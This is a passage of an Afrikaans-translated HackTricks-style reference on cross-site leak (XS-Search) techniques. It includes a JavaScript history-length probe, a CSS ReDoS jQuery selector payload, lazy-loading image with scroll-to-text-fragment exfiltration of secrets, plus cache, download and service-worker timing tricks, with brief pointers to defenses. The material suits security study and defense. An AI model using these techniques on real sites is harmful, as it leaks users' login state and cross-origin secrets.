'n Aanvaller kan JavaScript kode gebruik om die raam/pop-up ligging na 'n geraamde een te manipuleer en dit onmiddellik na about:blank te verander. As die geskiedenis lengte toeneem, beteken dit die URL was korrek en dit het tyd gehad om te verhoog omdat die URL nie herlaai word as dit dieselfde is nie. As dit nie toeneem nie, beteken dit dit het probeer om die geraamde URL te laai, maar omdat ons onmiddellik daarna about:blank gelaai het, het die geskiedenis lengte nooit toegenomen toe die geraamde url gelaai is.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame Counting

Tel die aantal rame in 'n web wat via iframe of window.open geopen is, kan help om die status van die gebruiker oor daardie bladsy te identifiseer.
Boonop, as die bladsy altyd dieselfde aantal rame het, kan die deurlopende kontrole van die aantal rame help om 'n patroon te identifiseer wat inligting kan lek.

'n Voorbeeld van hierdie tegniek is dat in chrome, 'n PDF met rame tel opgespoor kan word omdat 'n embed intern gebruik word. Daar is Open URL Parameters wat 'n mate van beheer oor die inhoud toelaat soos zoom, view, page, toolbar waar hierdie tegniek interessant kan wees.

HTMLElements

Inligtingslek deur HTML-elemente is 'n bekommernis in websekuriteit, veral wanneer dinamiese media-lêers gegenereer word op grond van gebruikersinligting, of wanneer watermerke bygevoeg word, wat die media-grootte verander. Dit kan deur aanvallers benut word om tussen moontlike toestande te onderskei deur die inligting wat deur sekere HTML-elemente blootgestel word, te analiseer.

Information Exposed by HTML Elements

  • HTMLMediaElement: Hierdie element onthul die media se duration en buffered tye, wat via sy API verkry kan word. Lees meer oor HTMLMediaElement
  • HTMLVideoElement: Dit stel videoHeight en videoWidth bloot. In sommige blaaiers is addisionele eienskappe soos webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, en webkitDecodedFrameCount beskikbaar, wat meer diepgaande inligting oor die media-inhoud bied. Lees meer oor HTMLVideoElement
  • getVideoPlaybackQuality(): Hierdie funksie bied besonderhede oor video-afspeelkwaliteit, insluitend totalVideoFrames, wat die hoeveelheid video-data wat verwerk is, kan aandui. Lees meer oor getVideoPlaybackQuality()
  • HTMLImageElement: Hierdie element lek die height en width van 'n beeld. As 'n beeld egter ongeldig is, sal hierdie eienskappe 0 teruggee, en die image.decode() funksie sal verwerp word, wat dui op die mislukking om die beeld korrek te laai. Lees meer oor HTMLImageElement

CSS Property

Webtoepassings kan die webwerf-styling verander op grond van die gebruiker se status. Cross-origin CSS-lêers kan op die aanvallersbladsy met die HTML skakel-element ingesluit word, en die reëls sal op die aanvallersbladsy toegepas word. As 'n bladsy hierdie reëls dinamies verander, kan 'n aanvaller hierdie verskille opspoor, afhangende van die gebruiker se toestand.
As 'n lek tegniek kan die aanvaller die window.getComputedStyle metode gebruik om CSS eienskappe van 'n spesifieke HTML-element te lees. As gevolg hiervan kan 'n aanvaller arbitrêre CSS-eienskappe lees as die betrokke element en eienskapnaam bekend is.

CSS History

{% hint style="info" %} Volgens hierdie, werk dit nie in headless Chrome nie. {% endhint %}

Die CSS :visited selektor word gebruik om URL's anders te styl as hulle voorheen deur die gebruiker besoek is. In die verlede kon die getComputedStyle() metode gebruik word om hierdie stylverskille te identifiseer. Moderne blaaiers het egter sekuriteitsmaatreëls geïmplementeer om te voorkom dat hierdie metode die toestand van 'n skakel onthul. Hierdie maatreëls sluit in dat die berekende styl altyd teruggegee word asof die skakel besoek is en dat die style wat met die :visited selektor toegepas kan word, beperk is.

Ten spyte van hierdie beperkings, is dit moontlik om die besoekte toestand van 'n skakel indirek te onderskei. Een tegniek behels om die gebruiker te mislei om met 'n area te interaksie wat deur CSS beïnvloed word, spesifiek deur die mix-blend-mode eienskap te gebruik. Hierdie eienskap laat die menging van elemente met hul agtergrond toe, wat moontlik die besoekte toestand kan onthul op grond van gebruikerinteraksie.

Verder kan opsporing bereik word sonder gebruikerinteraksie deur die weergawe-tyd van skakels te benut. Aangesien blaaiers besoekte en onbesoekte skakels anders kan weergee, kan dit 'n meetbare tydverskil in weergawe inbring. 'n Bewys van konsep (PoC) is in 'n Chromium-foutverslag genoem, wat hierdie tegniek demonstreer deur verskeie skakels te gebruik om die tydverskil te versterk, wat die besoekte toestand deur tydanalise opspoorbaar maak.

Vir verdere besonderhede oor hierdie eienskappe en metodes, besoek hul dokumentasiebladsye:

ContentDocument X-Frame Leak

In Chrome, as 'n bladsy met die X-Frame-Options kop wat op "deny" of "same-origin" gestel is, as 'n objek ingebed word, verskyn 'n foutbladsy. Chrome keer 'n leë dokumentobjek (in plaas van null) vir die contentDocument eienskap van hierdie objek terug, anders as in iframes of ander blaaiers. Aanvallers kan dit benut deur die leë dokument op te spoor, wat moontlik inligting oor die gebruiker se toestand kan onthul, veral as ontwikkelaars die X-Frame-Options kop inkonsekwent stel, dikwels die foutbladsye oor die hoof sien. Bewustheid en konsekwente toepassing van sekuriteitskoppe is van kardinale belang om sulke lekke te voorkom.

Download Detection

Die Content-Disposition kop, spesifiek Content-Disposition: attachment, gee die blaaiers opdrag om inhoud af te laai eerder as om dit inline te vertoon. Hierdie gedrag kan benut word om te bepaal of 'n gebruiker toegang het tot 'n bladsy wat 'n lêeraflaai inisieer. In Chromium-gebaseerde blaaiers is daar 'n paar tegnieke om hierdie aflaai gedrag te detecteer:

  1. Aflaai-balk Monitering:
  • Wanneer 'n lêer in Chromium-gebaseerde blaaiers afgelaai word, verskyn 'n aflaai-balk onderaan die blaaiervenster.
  • Deur veranderinge in die vensterhoogte te monitor, kan aanvallers die verskyning van die aflaai-balk aflei, wat daarop dui dat 'n aflaai inisieer is.
  1. Aflaai Navigasie met Iframes:
  • Wanneer 'n bladsy 'n lêeraflaai inisieer met die Content-Disposition: attachment kop, veroorsaak dit nie 'n navigasie gebeurtenis nie.
  • Deur die inhoud in 'n iframe te laai en vir navigasie gebeurtenisse te monitor, is dit moontlik om te kontroleer of die inhoudsdisposisie 'n lêeraflaai veroorsaak (geen navigasie) of nie.
  1. Aflaai Navigasie sonder Iframes:
  • Soos die iframe tegniek, behels hierdie metode die gebruik van window.open in plaas van 'n iframe.
  • Deur navigasie gebeurtenisse in die nuutgeopende venster te monitor, kan onthul word of 'n lêeraflaai inisieer is (geen navigasie) of of die inhoud inline vertoon word (navigasie vind plaas).

In scenario's waar slegs ingelogde gebruikers sulke aflaaie kan inisieer, kan hierdie tegnieke gebruik word om indirek die gebruiker se verifikasietoestand af te lei op grond van die blaaiers se reaksie op die aflaai versoek.

Partitioned HTTP Cache Bypass

{% hint style="warning" %} Dit is waarom hierdie tegniek interessant is: Chrome het nou cache-partitionering, en die cache-sleutel van die nuutgeopende bladsy is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), maar as ek 'n ngrok-bladsy oopmaak en fetch daarin gebruik, sal die cache-sleutel wees: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), die cache-sleutel is anders, so die cache kan nie gedeel word nie. Jy kan meer besonderhede hier vind: Gaining security and privacy by partitioning the cache
(Kommentaar van hier) {% endhint %}

As 'n webwerf example.com 'n hulpbron van *.example.com/resource insluit, sal daardie hulpbron die dieselfde cache-sleutel hê asof die hulpbron direk deur top-level navigasie aangevra is. Dit is omdat die cache-sleutel bestaan uit top-level eTLD+1 en frame eTLD+1.

Omdat toegang tot die cache vinniger is as om 'n hulpbron te laai, is dit moontlik om te probeer om die ligging van 'n bladsy te verander en dit 20ms (byvoorbeeld) daarna te kanselleer. As die oorsprong na die stop verander is, beteken dit dat die hulpbron in die cache was.
Of kan net 'n paar fetch na die potensieel gekapte bladsy stuur en die tyd meet wat dit neem.

Manual Redirect

Fetch with AbortController

Gebruik fetch en setTimeout met 'n AbortController om beide te detecteer of die hulpbron in die cache is en om 'n spesifieke hulpbron uit die blaaiers se cache te verwyder. Boonop vind die proses plaas sonder om nuwe inhoud te cache.

Script Pollution

Service Workers

In die gegewe scenario neem die aanvaller die inisiatief om 'n dienswerker binne een van hul domeine, spesifiek "attacker.com", te registreer. Vervolgens open die aanvaller 'n nuwe venster in die teikenwebwerf vanaf die hoofdokument en gee die dienswerker opdrag om 'n timer te begin. Terwyl die nuwe venster begin laai, navigeer die aanvaller die verwysing wat in die vorige stap verkry is na 'n bladsy wat deur die dienswerker bestuur word.

By die aankoms van die versoek wat in die vorige stap inisieer is, antwoord die dienswerker met 'n 204 (No Content) statuskode, wat die navigasieproses effektief beëindig. Op hierdie punt vang die dienswerker 'n meting van die timer wat vroeër in stap twee begin is. Hierdie meting word beïnvloed deur die duur van JavaScript wat vertragings in die navigasieproses veroorsaak.

{% hint style="warning" %} In 'n uitvoeringstyd is dit moontlik om netwerkfaktore te elimineer om meer presiese metings te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word. {% endhint %}

Fetch Timing

Cross-Window Timing


Gebruik Trickest om maklik te bou en werkvloei te outomatiseer wat deur die wêreld se mees gevorderde gemeenskapstools aangedryf word.
Kry Toegang Vandag:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}

With HTML or Re Injection

Hier kan jy tegnieke vind om inligting uit 'n cross-origin HTML te injecteer. Hierdie tegnieke is interessant in gevalle waar jy om enige rede HTML kan injecteer maar nie JS-kode kan injecteer nie.

Dangling Markup

{% content-ref url="../dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

Image Lazy Loading

As jy inhoud moet lek en jy kan HTML voor die geheim byvoeg, moet jy die gewone dangling markup tegnieke nagaan.
As jy egter om enige rede MOET dit karakter vir karakter doen (miskien is die kommunikasie via 'n cache-hits), kan jy hierdie truuk gebruik.

Beelde in HTML het 'n "loading" attribuut waarvan die waarde "lazy" kan wees. In daardie geval sal die beeld gelaai word wanneer dit gesien word en nie terwyl die bladsy laai nie:

<img src=/something loading=lazy >

Daarom, wat jy kan doen, is om 'n baie rommelkarakters (Byvoorbeeld duisende "W"s) toe te voeg om die webblad te vul voor die geheim of iets soos <br><canvas height="1850px"></canvas><br>.
Dan, as ons inspuiting byvoorbeeld voor die vlag verskyn, sal die beeld gelaai word, maar as dit na die vlag verskyn, sal die vlag + die rommel verhoed dat dit gelaai word (jy sal moet speel met hoeveel rommel om te plaas). Dit is wat gebeur het in hierdie skrywe.

'n Ander opsie sou wees om die scroll-to-text-fragment te gebruik as dit toegelaat word:

Scroll-to-text-fragment

Maar jy laat die bot toegang tot die bladsy maak met iets soos

#:~:text=SECR

So die webblad sal iets soos wees: https://victim.com/post.html#:~:text=SECR

Waar post.html die aanvaller se rommelkarakters en lui laai beeld bevat en dan die geheim van die bot bygevoeg word.

Wat hierdie teks sal doen, is om die bot toegang te gee tot enige teks op die bladsy wat die teks SECR bevat. Aangesien daardie teks die geheim is en dit net onder die beeld is, sal die beeld slegs laai as die geraamde geheim korrek is. So daar het jy jou orakel om die geheim karakter vir karakter te exfiltreer.

'n Voorbeeld van kode om dit te benut: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Beeld Lui Laai Tydgebaseerd

As dit nie moontlik is om 'n eksterne beeld te laai wat die aanvaller kan aandui dat die beeld gelaai is nie, kan 'n ander opsie wees om te probeer om die karakter verskeie kere te raai en dit te meet. As die beeld gelaai word, sal al die versoeke langer neem as wanneer die beeld nie gelaai word nie. Dit is wat in die oplossing van hierdie skrywe hier saamgevat is:

{% content-ref url="event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="../regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

As jQuery(location.hash) gebruik word, is dit moontlik om via tyd te ontdek of sommige HTML-inhoud bestaan, dit is omdat as die selektor main[id='site-main'] nie ooreenstem nie, dit nie die res van die selektore hoef te kontroleer nie:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injection

{% content-ref url="css-injection/" %} css-injection {% endcontent-ref %}

Defenses

Daar is verskeie versagings aanbeveel in https://xsinator.com/paper.pdf ook in elke afdeling van die wiki https://xsleaks.dev/. Kyk daar vir meer inligting oor hoe om teen hierdie tegnieke te beskerm.

References

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}


Gebruik Trickest om maklik te bou en werkvloei te outomatiseer wat deur die wêreld se mees gevorderde gemeenskapstools aangedryf word.
Kry Toegang Vandag:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}